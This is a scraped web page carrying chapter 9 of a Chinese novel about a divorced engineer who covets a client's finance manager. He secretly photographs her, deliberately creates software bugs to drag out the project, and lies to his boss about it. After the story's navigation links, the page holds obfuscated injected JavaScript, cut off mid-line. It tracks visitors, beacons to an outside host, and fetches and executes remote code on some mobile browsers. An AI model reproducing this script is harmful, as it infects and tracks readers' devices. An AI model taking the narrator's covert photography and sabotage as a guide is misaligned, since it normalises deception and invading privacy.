图片载入中

婚姻男女(又名离婚男女or落叶) 9

特大字】 【大字】 【中字】 【小字

九、C

当一道幸福之门关上了,另一道门会随之打开。但是,我们常常眷恋着那道关上了的门,而看不见另一道门已经打开了。

——海伦·凯勒

从上海回来之后只休息了一天,我就受万恶的资本家老板派遣,参加我们公司为某跨国公司驻华办开发的一套财务办公系统软件测试。

这家公司位于东城区一幢高档写字楼内,主楼不是很高,大概只有三十多层。在北京,这样高度的大楼实在不算什么地标建筑。但这座建筑不同凡响之处在于,它有四个塔楼,包括裙楼在内的楼宇群占地面积异常庞大。裙楼门前,有长长一排大理石廊柱,看上去气派非凡。整座大楼底部,装潢着赭红色大理石,塔楼则是赭石色大理石与玻璃幕墙相间。

我来到这幢庞然大物前,根据保安指引,在地上停车场泊好车,从写字楼正门走入。

进来后,才发现这里像个迷宫,有商场、餐厅、咖啡厅、旅行社等等,七绕八绕的。而且,它有A、B、C、D四座塔楼,上电梯都不在一个地方。我就跟陈奂生进城似的,边看指示牌边走。

或许那些指示牌也指的不清楚,或许是我理解能力太差,反正我按照指示牌在里边绕啊绕,半天愣是没找着正确的电梯。

无奈中,我只好问了一个正在做清洁的物业人员,在她的带领下,我才找着了去那家公司的电梯。

我站在富丽堂皇的电梯间里,在墙上的业主指示牌里寻找对方公司的信息。那指示牌密密麻麻的,几乎全是知名大公司的名字。我的目光上下扫了几眼,终于在28F那里找到了。

我一边等待电梯,一边怀着羡慕的心情观察这座大楼的装潢。

不比不知道,一比吓一跳。我突然感觉自己公司所在的那栋写字楼,实在太没档次了。我所在的那家公司,全称叫北京亿银信息科技公司,位于中关村一座很不起眼的火柴盒大楼内,租用了人家从19楼到22楼的办公空间。虽然我们那座大楼也比较新,可是外观太普通了,毫无特色,里边装潢也不怎么样,走廊里铺的都是釉面瓷砖,让人一进去就感觉不到什么档次。

而这座大楼的地面,铺的是金线米黄大理石。我仔细观察了一下,发现电梯间这块地面,大理石竟然是顺着花纹铺就的。这说明什么?说明这块地面上的大理石来自同一块巨石,而且铺就的时候还特别注意到了按照原花纹拼接。靠,精细到这个地步,搞设计的人绝对是个跟我一样的完美主义者。

这里,和我们那里相比,简直一个是皇宫,一个是狗窝。

电梯久等不来,我忍不住掏出一根烟先抽着。刚抽了两口,有个西装革履的物业人员不知道从哪里钻了出来,到我面前小声阻止道:“先生,对不起,我们这里不能抽烟。您抽烟的话,那边有专门的吸烟区,或者您到那边中心花园再吸。”

妈的,你把老子看成进城卖菜的农民了吧?这里的臭规矩怎么这么他妈的多?我们那个写字楼里,你在电梯里抽烟都没人会管你。当然,我不会干那种缺德事,那多没教养,我只是没想到这里连电梯间都不能抽烟。

于是,我只好悻悻地在旁边一个嵌有大理石的金色不锈钢垃圾箱上,掐灭了半截烟头。这时我心想,靠,在这里办公,那一年的租金得多少啊,到底是洋鬼子,财大气粗啊。

到了那家公司所在的28楼,向前台小姐说明了来意,她引领我找到了项目组的几个同事。

财务系统开发的前期,我一直待在上海没到这家公司来过,都是我这几个同事在做。但现在到了后期数据切换的关键性阶段,老板担心出现问题,才把刚从上海回来的我给派来。

很不巧,数据切换测试不是很顺利,出了几个Bug。那几个同事正傻眼呢,看到我就像看到救星一样,作为救火队员的我算是有的忙活了。

那天天气闷热,加上情况不熟悉有些紧张,忙得满脸油汗,一副狼狈相。搞了半天,我还是没摸到门,心想解决这类问题,光靠我们这边不够,还得对照着查查他们的老系统和数据库。于是,我请他们财务部的小丫头去找他们的财务主管来。

一、两分钟后,一位面容清爽、神态高傲的美女出现在我面前。见到我,她的头微微擡起,双臂交叉着抱在胸前,给人一种神圣不可侵犯的感觉。

这就是C女,这家公司财务部门的主管。

“这就是我们孙主管。”财务部的小丫头向我介绍了一下。

“哦,我叫李守杰,主管这个项目……”我本想跟她握握手,但发现她好像没有要把手伸出来的意思,也就只好讪讪地作罢。

“我叫孙怡。”C女以一种礼貌,但冷淡的口吻回答道。

那天C女穿着条杏色的一步短裙,腿上裹着一双珍珠色的亮丝光袜,穿着一双浅金色鱼嘴细高跟鞋,一看就知道是清一色名牌货。上上下下,无论从长相还是穿戴搭配,都恰到好处,愣是没有一点多余的地方,给人感觉真是爽,如同在炎热的夏日午后喝了一杯冰镇健怡可乐那么爽。

她实在是太美了,冰清玉洁,光彩四射,站在我面前就像一尊汉白玉雕像。

我忍不住从头到脚打量着这位白领丽人,不但觉得她脸蛋迷人,身材惹火,而且感觉她穿衣的品位简约明快,清逸脱俗,正符合我的口味。

在上下打量了她几遍之后,我的目光最终落到她那双如玉的大腿上。天呐,世界上竟有如此完美的腿,真让我既感到意外,又感到震撼。

不夸张地说,她的腿部曲线几乎可以用“震撼性的完美”来形容。台湾有个林志玲,香港有个莫文蔚,这两人都以美腿闻名娱乐圈。可是,我敢说要是她们见了C女的美腿,绝对要羞愧得以后再不敢秀腿了。

这双美腿可遇不可求,勾魂摄魄,咄咄逼人,以至于我打量她时,心脏猛地一抽,嗓子眼瞬时发干,不由自主地舔了舔干裂的嘴唇。

唉,我自从长大成人,就落了一个坏毛病,与美丽的异性面对面,就浑身不自在,产生如下不良症状:心跳过速,唿吸急促,视线游移,瞳孔散大,嘴唇发干,头冒虚汗,手足无措,浑身哆嗦,瞠目结舌,词不达意。越漂亮的女人,症状越严重。要不以往我见了女人都会躲着走呢,我是怕犯病。

寒暄几句后,C女就坐在我旁边,虽然有问有答,但神情依旧高傲矜持。她做事情很专注,视线始终没有离开过电脑屏幕,好像坐在她身边的我不存在似的,这让我稍微感到有些不爽。

不过,她长的太爽了,全然抵消了我心里的那点不爽。

她不看我,可我在看她。不过,她的美让我不敢直视,只能偷偷用眼角的余光欣赏着她。

她具有一个鲜明简洁的脸部及五官轮廓,鼻梁高而精巧,嘴唇小而饱满,眼睛大而有神,睫毛长而浓密,皮肤白而细腻,头发长而飘逸。那神态,那坐姿,那一举一动,都是那么完美无缺。

更让人感觉回味无穷的,是她自内向外散发出的、凌人的高贵气质,那种骨子里带着的、足以让人窒息的傲气。跟她在一起,我不由自主发自内心地感到自己很猥琐,很龌龊,以至于连喘气都很谨慎,生怕自己唿出的污浊空气玷污了她。

我发现,她思考时最漂亮。每当遇到需要回忆或者计算的关头,她都有个习惯性动作:用右手轻轻拖住右脸颊,手指翘成兰花指,用上牙轻咬下唇,眉头微皱。在我的眼里,这种表情不仅显示了她的美貌,也显示了她的智慧。

这种感觉,让我不由得想起宋玉的《神女赋》中那段名句:貌丰盈以庄姝兮,苞温润之玉颜。眸子炯其精朗兮,了多美而可观。眉联娟以蛾扬兮,朱唇的其若丹。素质干之醲实兮,志解泰而体闲。既姽婳于幽静兮,又婆娑乎人间。

很快到了下班时间,见这问题肯定不是一天两天能搞完的,我也就不打算加班搞了。这时,我心里突然产生了一个很不老实的念头:我干嘛要这么急着搞完走路啊?我得想办法磨洋工才是。这么漂亮的女人,可遇不可求,就在她身边多坐一会都是件很爽的事。而且,她在我面前表现得太高傲了,盛气凌人的,反而激起了我的征服欲。

人就是有这样一种心理,越是觉得高高在上、高不可攀的东西,越是想占有,想征服。我也不例外,胃口被吊起来之后,我连做梦都想征服眼前这个女人。

想到这里我嘴角上突然浮现了一丝奸笑。当然,这奸笑在别人眼里应该是微笑。我侧脸对她说:“孙主管,今天就先到这里吧,明天咱们继续。”

直到这时她才看了我一眼,也浮现出浅浅的一丝微笑,回答道:“哦,好。今天谢谢你了啊。”

“不,哪的话,是我谢谢你才对。我们的工作没做好,给你添麻烦了,真对不起。”我连忙表达了歉意。心里说:哈哈,你不知道吧,以后麻烦只怕会更多!我李守杰是解决麻烦的高手,也是制造麻烦的高手,嘿嘿……

“没事儿,快点切换成功了就好。”C女站起身来,对我说了声:“哦,那明天见啊。”

说完,她走出了这间大办公室,大概是回她办公室收拾东西去了。

“明天见!”我也慌忙站起来,跟她再见。然后,一直目送她的背影在楼道里消失,我才开始收拾自己的东西。

等和同事们一起走到电梯间等电梯时,C女也收拾好了东西来了。我慌忙对她点头微笑,她也报以一个浅浅的微笑。然后电梯来了,大家一拥而入。

我觉得这时我得显示一下风度了,就想最后一个进去。很有意思的是,C女似乎也在显示风度,也等着别人进完了才打算进去。见我没进,她谦让了一下,我则做出了女士优先的手势。她又笑了一下,进去了。

但很不巧,电梯满员了,就多她一个人。于是她退出了电梯,电梯间就剩我俩了。

美女就在我身边,我犹豫着该不该找点什么话题。郁闷的是,我想了一会儿,还没等我找到,又一部电梯来了。一开门,里边又是满腾腾的人,不过似乎还有点空位,于是我请她先进去,我随后。

我就站在她身边,被狭小的电梯限制,被十几个人拥挤,我离她的实际距离不超过一厘米。距离美女如此之近,我已经可以清楚地嗅到她身上散发出来的淡淡的香水气息。我心跳得更快了,唿吸更急促了,头上的虚汗更多了,浑身更哆嗦了。昏,这哪里是在欣赏美女,这是在受刑。

幸亏只是乘电梯,一两分钟就到了;要是坐长途车,我非得紧张到中途休克不可。

好容易捱到下了一楼,我走出电梯,这才长长松了一口气。转身本想跟C女再打个招唿说声拜拜,却发现她已经走了几步远了,只得作罢。

唉,看来我李守杰还没入她的法眼。革命尚未成功,同志仍需努力啊……

晚上,我回到团结湖家里,躺在床上怎么也睡不着。唉,这个孙怡,实在太漂亮了。虽然她没有A女那种妩媚骚浪劲,但眉清目爽,一看就是标准的白领丽人,气质比A女不知道要强多少倍,说她有知性美还真是恰如其分。让我禁不住对她一见钟情。

当然,我这把年纪的一见钟情,不是想立刻娶她回家,而是一种想先上了她、享受她的花容美腿的mpulsion。不过,也不完全如此,因为我对她的第一印象非常非常好,直觉告诉我她应该是个很不错的女子。但问题在于,我不知道她究竟是个什么状态,她看上去有二十六七的年纪,从气质上看肯定不是个女孩了,而且那么漂亮又那么矜持,估计是位名花有主的已婚少妇。

想到这里我感到有些沮丧。唉,要是已婚女人那就惨了,我就是再喜欢她,也不能干勾引人妻的缺德事。

但转念一想,谁说她一定是已婚妇女了?她脸上又没写着“已婚”俩字。对,我应该先磨叽着,把这差事尽量往长里拖,多跟她相处一下,了解她的情况。如果是已婚的那咱就算了,要是单身的话,老子就是使出吃奶的劲儿,也得把她给上了。

不行,我不能磨叽。我明天就去打听清楚,她是未婚、离异、还是已婚的。如果不幸是已婚的,那就忍痛放弃,连床都不上,因为我实在不想做不道德的事情,也怕万一人家老公戴上绿帽子拿把菜刀闹出人命来。如果她是未婚的,那么上床有风险,办事须谨慎,因为假如万一感觉不好要拜拜的话,可能会有意想不到的麻烦。当然,现在有些未婚女孩也洒脱,但总还是有不洒脱的。我平时做事不喜欢冒险,一般甯可克制点自己也不去冒那个险。

但遇到C女是个例外,如果她是未婚的,我倒可以考虑冒一次险,因为她值得冒险。

如果她是离异女,那可就太好了,大家都是过来人,有着不同的失败经历,上床也是你情我愿彼此需要,能凑合到一起就凑合到一起,凑合不了的,那就潇洒地走,反正谁也不欠谁。C女这么漂亮,即使跟她成不了夫妻,光跟她上床也是一件三生有幸的乐事。

这时我才发现自己变了,变得不那么CJ了。

以前我是个老实人,一跟女人上床就打算娶别人回家,对前妻、对A女都是这样。但那已经是老黄历了,经历过与A女的爱欲狂潮以后,我沈睡的欲望被唤醒了,掩埋的本能被开发了,封闭的闸门被开启了,李守贞已经变成李破鞋了。而和A女经历了从希望到幻灭的过程,我对婚姻,对女人变得格外谨慎起来,明白了“路遥知马力,日久见人心”的道理,知道仅凭第一印象行事是不够的。要想走入婚姻,不能急,不能一开始就抱很大希望,必须充分了解对方跟自己是否适合。

现在遇到了C女,这个具有天使般容貌、魔鬼般身材的女人,我又产生了得到她的迫切渴望。这样的女人,遇着了再放过,我他妈一辈子都不能原谅自己。不行,我一定要磨洋工,一定要磨叽到项目结束时,把她搞到手;或者说,一定要磨叽到把她搞到手时,才结束这个项目。

路线是方向,路线是灯塔,路线是坐标,路线是指南。经过这一个不眠之夜,我终于制订了“磨洋工”的正确路线。

我这个策略太英明了,完全是扬长避短。我李守杰这个人,别的本事没什么,最拿手的就是磨叽,天生就擅长此术,而且运用得炉火纯青。以前,我用这个办法搞定了前妻,后来又用这个办法搞定了A女。

其实,并非我刻意用磨叽的方式搞定女人,而是我根据以往的经验发现:女人的心理很怪,她们喜欢拐弯抹角地被上,而不喜欢直来直去地被上。打个比方:假设你见到一个心仪的美女,想上她,如果你对她开诚布公地说:“嗨,美女,我想搞你。”那么将会是什么结果?完全可以想象,你会吃一个大嘴巴子,外加一声“臭流氓”的定性。那你就完了,下辈子也别想上她。

假如你做出一副置之不理的样子,每天在她眼前晃,却又视之为无物,这女人就该纳闷了:嘿,这男的咋啦,难道我不够魅力?难道我不够漂亮?他凭什么对我不屑一顾啊?

在这个不解的基础上,她会滋生一点好奇心。

当然,要让女人对你产生好奇心,你自己也得有两把刷子。要纯粹是个一无是处的猥琐男,那女的才懒得对你产生好奇心呢。

所以,征服女人需要欲擒故纵,你越想上她,就要越表示出不想上她,这是我从我前妻和A女那里总结出的体会。

先说我前妻。当年我在大学里算是小有名气,篮球打得特别好。每次比赛,都会有帮女生在旁边哇哇叫,里边必有一个人是我前妻。当然,那时我们还不认识。虽然我前妻后来演化成了悍妇,但我刚认识她的时候没这么差劲,至少是没有显示出这么差劲。

在女生资源极为稀缺的工科大学里,我前妻还算是长得不错——身边也有不少追求者。现在回过头来看,那帮失败的追求者应该万分庆幸才对,要是当年他们有幸被我前妻看上了,那就跟我一样倒霉大了。

当然,这是后话,在当时我被前妻看上心里还是美滋滋的。

为什么前妻的法眼偏偏看上我了呢?因为我没有主动理会过她。

不过,当时我不是有意去欲擒故纵的。我当时也挺傲,起初打球的时候根本就没注意到她。但几次之后,我还是发现了她,因为她毕竟是那帮恐龙里长得最正常的一个。红花还得绿叶衬,前妻那副模样走到大街上,回头率不会超过百分之十,但被工科学校那群恐龙一衬托,还是显得很有几分姿色。

我那时是个没见过世面的傻小子,以为全世界的女人都跟我们学校里的女生一样难看呢,所以就把她当成美女了。

每次打球,我这边的啦啦队里都少不了前妻。她跟其他蹦蹦跳跳、叽叽喳喳的恐龙不一样,只是站在那里静静地看着我,一副静若处子的模样。

几次下来,我对她印象就深刻了,觉得她还挺漂亮的。那时正是春心萌动的年纪,有这么一个忠实的拉拉队员关注着自己,足以使我怦然心动。

于是,我拐弯抹角地向别人打听她是哪个系的,叫什么。搞清楚以后,我还是没有主动跟她搭讪,依旧是每次打球,她在恐龙堆里边静若处子地站着看。

之所以我没有采取主动,不是因为我懂得追女生的策略,而是因为性格和教育使然。作为一名家教严格的70年代生人,在我成长的时代,性、爱情之类的话题是个被成人们有意屏蔽掉的盲点。无论老师还是父母、学校还是家庭,没有任何人教给我,该怎么跟女生打交道。而父母给我的教育,更是通篇男人要自尊自强自爱,还经常有意无意说一些男的跟在人家女生后面死缠烂打闹出的笑话,弄得我潜意识里把男人追女人看成一件很可笑,很没面子,很丢人的事情。

所以,我根本不会主动追求女生,那就只能磨叽,只能守株待兔了。

后来有一次,吃完晚饭后我上晚自习路上,遇到了她。当时她似乎喝醉了酒,被几个同学搀扶着,一边走一边哭。遇见我,她停了下来,死死地盯着我。我也看了她一眼,可那时我并不算认识她啊,又见是这种场合,就匆匆而过。

就这么磨叽了有几个月功夫,大三下半学期的一天,兔子终于撞上树桩子了。

那天,我打球中场休息擦汗时,她走到我面前,递给我一瓶可乐。

本来就双方就有好感,这下可接上头了。当然,我是被动的个性,即使对她感觉好,也不好意思首先说我喜欢她。只是此后两人经常会有意无意碰到一起,吃饭时,上自习时,总能碰到一起,后来慢慢发展到下了晚自习在校园里散步……

有一次散步时,我想起了那次遭遇她醉酒的事情,就好奇地问了一下为什么。她回答道:“是为了你。”

“什么?为了我?”她来这么一句让我觉得没头没脑的惊讶极了。我搞不懂,那时我虽然跟她混了个半熟脸儿,可毕竟连句话也没说过啊,她怎么会为了我醉酒?震惊之余,我追问:“为什么呀?”

“我喜欢你。”前妻看着我说:“你知道吗?我才不喜欢看打球。我每次去看打球,我都是为了看你。可你就死活不开窍似的,我觉得我都表示得够清楚了,可你……让我没面子。那天跟同学一起喝酒,喝着喝着就想起你了,觉得自己挺可怜的,喜欢上一个人,可他连看都不看我一眼,太可悲了,想着想着我就哭了,也喝多了……”

听到这里,我在震惊之余,被她的诚挚深深感动了,一下子搂住了她,安慰道:“不,不是我不喜欢你,而是我不好意思开口……”

从此,我的浪漫史,呃,也是噩梦就开始了……

后来,我也曾问起过她为什么偏偏会看上我。她回答说,她身边死缠烂打的男生可多了,但是她看着就恶心。男人么,没一点男人味,整天跟狗似的跟在女生屁股后面转悠,那让女人瞧得起才怪。之所以看上我,就是我有十足的男人味,在一群狗一样的男生里显得很不一样。我问她,我怎么不一样了,她说,别人是狗,你是狼啊,要不怎么把我这纯洁的羔羊给吃到嘴里了呢。

唉,又说回那些美好的回忆了。我跟前妻三年恋爱,九年婚姻,合计十二年时间,真正美好的回忆就那几个月,剩下的就是无尽的冲突和折磨,一点点地冲刷着这瞬间的感动,以及我的责任心所共同构筑的感情基础,最终掏空了根基,婚姻大厦在瞬间轰然崩塌。

再说A女。我和A女的交往仍旧是被动的,要不是她主动提出见面,我才不会主动约她,哪怕心里想,我也张不开这张嘴。后来,她又主动提出到我左家庄那套房子里看看,自己躺倒我床上去,我们才有了后来的一切。否则,她不主动的话,我是断然不会把她怎么样的。

其实我现在可以断定,她约我看电影的时候,就已经决定要勾搭我上床了。而我跟她看电影时,根本就没想到会这么快跟她上床,更别提主动勾她,要不怎么会被A女的主动吓到阳痿。而我的一贯谨慎,又让A女觉得我老实、可靠,不像那种色场老手,所以她反而非常主动了。

当然,现在的我与傻小子时代,根本不可同日而语了。经历了前妻和A女之后,我的良心已经大大的坏了。坏到什么程度?坏到对C女还不了解,还没有什么感情,就想跟她上床的地步。尽管我还是不怎么主动,但心态跟与前妻,A女交往时明显不一样了。

性格决定命运,而我的磨叽个性是难以改变的。即便是面对C女,这个天使般的尤物,我一样不会采取主动追求她。当然,我喜欢她,尽管我面子上不主动,但太渴望得到她了,所以我必须想办法在磨叽中创造兔子撞树桩的机会。

可是,接下来几天时间,我跟C女的接触没能取得任何进展。期间,我在和C女一同工作的时候,偷偷用手机拍了她一张照片。虽然效果不是很好,但脸部也算清晰,足以回去对着她YY了。

C女似乎对我保持着一种戒备,跟她接触总让我感觉到一种冷冷的距离,让我不敢轻易靠近。这种感觉让我坐卧不甯,甚至有点疑神疑鬼,是不是自己什么地方举止不端,比如偷拍的时候被她发觉,她已经察觉我对她图谋不轨了?

焦虑中,我又一次想到了军子。虽然他平时很忙,但遇到哥们要帮忙,他一向有求必应。

那天下午,C女有事外出,我没了她在身边,也就不想在她们公司待着浪费时间了。我给军子打了一个电话,然后跟同事说了声出去办点事情,驱车来到军子公司。

军子听完我对C女的描述,掏出一枝烟给我,自己点上一枝,吸了一口,然后问:“这女的有这么好?”

我连忙掏出手机,给他看存在我手机里的照片。

军子仔细看了看照片,又放大尺寸,认真看了一会C女的眼神,然后对我说:“嗯,看上去像个良家女。气质不错,有点档次。这个女的,值得一追。不管怎么样,先上了她。”

“对,对对,我就是这么想的。不管怎么样,先上了她。”军子的话可是说到我心坎里了,连声赞同。

然后,我向他说出了我打算采取欲擒故纵的策略。军子听了,也表示赞同,分析道:“这女的,有点傲。我能看出来,这傲气不是装出来的,而是骨子里带着的,肯定是个教养很好的女人。这种女人呢,眼光高,一般男人是看不入眼的。所以,有句话叫孤傲,傲气的女人,都挺孤独的。其实,她心里也渴望有男人配的上她。你想搞定她,绝不能有任何失礼的地方,而是让她觉得,你这人也傲,然后再去征服她。你他妈就是装,也得装出一副不卑不亢的样子来,然后再寻找合适的机会,跟她套磁。绝对不能操之过急,一定要等她先服软。到那时,她会跟你掏心窝子的。”

“是,是,我也是这么想的。这女人在我面前冷冷的,要是在她面前贱,那她可就彻底鄙视我了。”

“对,要是这样的女人鄙视你了,你就没戏了。”军子也同意我的分析,然后又提醒我说:“不过,守杰,我得提醒你,你这人哪,爱犯一个毛病,就是容易陷进去。你这种个性,不会保护自己,所以你总是受伤害。”

“唉……是,我也觉得自己有这毛病,可又不知道该怎么办。”

“所有的女人,都是一把双刃剑,既可以给你带来享受,也会给你带来伤害。泡妞啊,你得先学会自我保护,学会‘三不’原则,这样你才能少受伤害。”

“什么?你说什么?”军子一番高深的话听得我莫名其妙。

“嗯,这么说吧。我泡妞时,就坚持三个原则,不主动,不拒绝,不负责。”

“不主动,不拒绝,不负责?”我似懂非懂地重复了一遍:“什么意思?”

“我的意思是:不要主动向女人提出上床要求;当然,假如女的把你按倒在床上,那也没必要拒绝;而只要你自己不主动要求人家上床,那么将来如果觉得不合适,想结束这段关系,对方也不敢让你负什么责任,因为毕竟是女方先主动的。OK,其中道理好解释吧?”

“哦,明白了……明白。对,不主动,不拒绝,不负责。好,好!”我连声赞叹,觉得这三个“不”总结得可真是经典:“军子,你他妈的可真绝了,我操,经你这金手指一点拨,嘿,咱还就醍醐灌顶了呢。行,我记住了,不主动,不负责,不拒绝。”

“咳,我这还不是听人说的嘛……”军子对我的夸赞,显示出了伟大的谦虚。

从军子那里出来,已经快下班了。我乐颠颠地开车回家,一路上自言自语。

“不主动,不拒绝,不负责;不主动,不拒绝,不负责。嘿嘿。”

由于我有意磨洋工,经常利用自己的技术制造一些麻烦,然后又利用技术解决这些麻烦,自拉自唱,把一个月能解决的问题愣是拖了快两个月,而且旁人还看不出什么破绽来。

期间,老板找我问了一次进度。我把情况添油加醋描述得极其复杂,把老板惊出一身冷汗,生怕砸了自己牌子,直后悔前期开发时没派我过去。

看他急得抓耳挠腮的样子,我心里直乐。他哪里知道,这复杂的局面起码有一半是因为我,呃,不,因为C女一手造成的?

见老板真着急了,我赶紧给他吃宽心剂,说问题是有,但我都能搞定,只是需要一些时间。

老板一听,这才稍微放宽了心,赞许地说:“嗯,守杰你不错,好好搞,别着急,时间我给你。这家公司影响力太大了,要是万一做砸了,咱们以后就在业内不好混了。别急,慢工出细活嘛。”

“那是,那是。老板你放心,我肯定把这事整圆满了。”我心花怒放地迎合着老板,心想,我就是想慢工出细活,盼的就是您这句话,哈哈。

接着,为了多磨叽点时间,我又主动请缨,把原本不该我费劲的培训工作也承揽过来。老板也高兴地答应了,直夸奖我这人对公司忠心耿耿,不辞辛苦,还为公司省了人手。

其实,我们老板这个人还是挺厚道的。虽然多少带点痞子气,但绝对是个好人。他待我不薄,我对他也忠心耿耿,做事情从来不敷衍他。人嘛,以诚相待,你对得住我,我对得起你,这就行了。

这次,是我第一次煳弄他,本来不想这么做的,可是没办法啊,我被爱情撞了一下腰,一个可遇不可求的美人出现在我的面前。假如我不及时抓住机会的话,过了这个村可就没有这个店了。所以,为了我下半辈子的幸福,我还是决定昧良心骗老板一次。

当然啦,咱这个小小的骗术只是为了磨洋工,还不至于给老板造成什么损失。唉,以后好好工作,补偿他算了。

说起我们老板,不由得想讲讲他的婚姻。我们老板不仅厚道,而且脾气很好,属于那种永远不温不火的类型。但俗话说“锤子剪子布,一物降一物”,他这么好的脾气,却偏偏找了一个悍妇做老婆。

要说老板老婆的凶悍程度,比我那前妻有过之无不及:我前妻多半是靠精神暴力,而老板老婆则是文武双全,既善于文斗,也善于武斗,经常在家里上演“全武行”。人家的武斗那可不是开玩笑的:老板的老婆曾经手拿菜刀,用尽生平力气向老板头上砍去;老板急中生智,用凳子一挡,这才捡回一条小命,然后夺门而出,仓皇逃窜。

但老板依旧没有离婚。原因不在于老板很爱这个老婆,而在于老板的岳父岳母为人很好。每次出现文斗武斗,都是岳父岳母出面摆平,狠狠地训斥了自己女儿,然后勒令她向老板道歉。

老板的老婆虽然不听老板的,但是听父母的,父母要她道歉,她就道歉了。见是人家一家三口都向自己道歉,老板也不好说什么了,就只好以观后效,等待下次武斗爆发,一切再来一次。

老板也曾经不止一次提出离婚。无奈有了孩子,又有岳父岳母的低姿态,老板的离婚计划总是被这些因素干扰。而老板的老婆凶悍归凶悍,但做家务事却是一把好手。平时不发神经时,伺候老板也算周到。

这样,老板就有些念想,提离婚是提离婚,但最后总是半途而废。提的次数多了,我们都见怪不怪了,以至于老板哪次跟我诉苦,赌咒发誓说“我要离婚”时,我都感觉是“狼来了”一样,谁也不当真。

但文斗武斗太频繁了,婚姻虽然保持着,感情却没有了。老板根本就不喜欢那个悍妇,即便是年轻时有过爱情,但再深厚的爱也会在这种没完没了的冲突中耗尽。于是老板在外边玩女人,情人,小姐,一夜情,什么都玩。当初我和A女拜拜时,老板跟我要A女的联系方式,那可不是随便开个玩笑的,他是真想要。当然,我最后没有给他,要真给了那我不成拉皮条的了,呵呵。

这段磨洋工期间,因为工作上的原因,我跟C女接触比较密切,但只限于工作内容。虽然心里早就对她垂涎三尺,但一直按捺着,与她从不多说一句非工作内容的废话,免得她认为我对她图谋不轨。我想打听有关她的任何情况,都是拐弯抹角获得信息的。

窈窕淑女,君子好逑。公司这个项目组里还有几个正在学坏过程中的CJ男,看到C女漂亮,也想跟她套近乎。只是CJ男太嫩了点,一点都不知道掩饰,整天冲着人家挤眉弄眼的,有事没事就想往人家跟前凑。效果当然不好,C女这样傲气凌人的白领丽人怎么可能会看上这群小屁孩?

但是,所谓会叫的狗不咬,会咬的狗不叫,我这躲在幕后不言不语的大色狼,则通过前面这群汪汪叫春的小色狗嘴里,了解到了不少关于C女的情况。

功夫不负有心人。我终于通过CJ男们拐弯抹角打探清楚,C女竟然真是离异的,孩子给了前夫;而且她不是我想象的二十六七岁,而是二十九岁,只是她保养得比较好,看上去显得年轻而已。

日,真是想什么来什么,你说,难道还有比得到这个消息,更让人开心的事情吗?哈哈。缘分来了,真是啥都挡不住。

从那一刻起,我就下定决心,排除万难,不计代价,不怕牺牲,一定要把C女泡到。

俗话说有来必有往,信息反馈是双向的。我也有意怂恿这帮小CJ男散布我的婚姻状况,渐渐地C女得知我也是离异人士。

二手女对二手男都是敏感的。由于我这段时间一直在装,在这群人中显得稳重深沈,我想她对我的印象肯定不会差到哪里去。

那一阵子,我一直不在自己公司上班,每天直接到C女公司去磨洋工,朝夕相处,渐渐地跟她也熟悉了。虽然有一肚子的爱慕想对她倾诉,但我严格地遵守“少说废话”的原则,只是暗中寻找跟她接近的机会。

随着日子一天天过去,我发现她看我的眼神,也发生了一些微妙的变化,似乎不如刚认识时那么戒备了。跟我一起讨论我制造出来的问题时,也不只是盯着电脑屏幕了。甚至有几次,我在偷看她的时候,竟然发现她也在偷看我,而一见到我看她,她就会假装看电脑。


上一篇:姨妈们跟妈妈一起帮我舔

下一篇:伊甸园之奴宠战纪 28


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 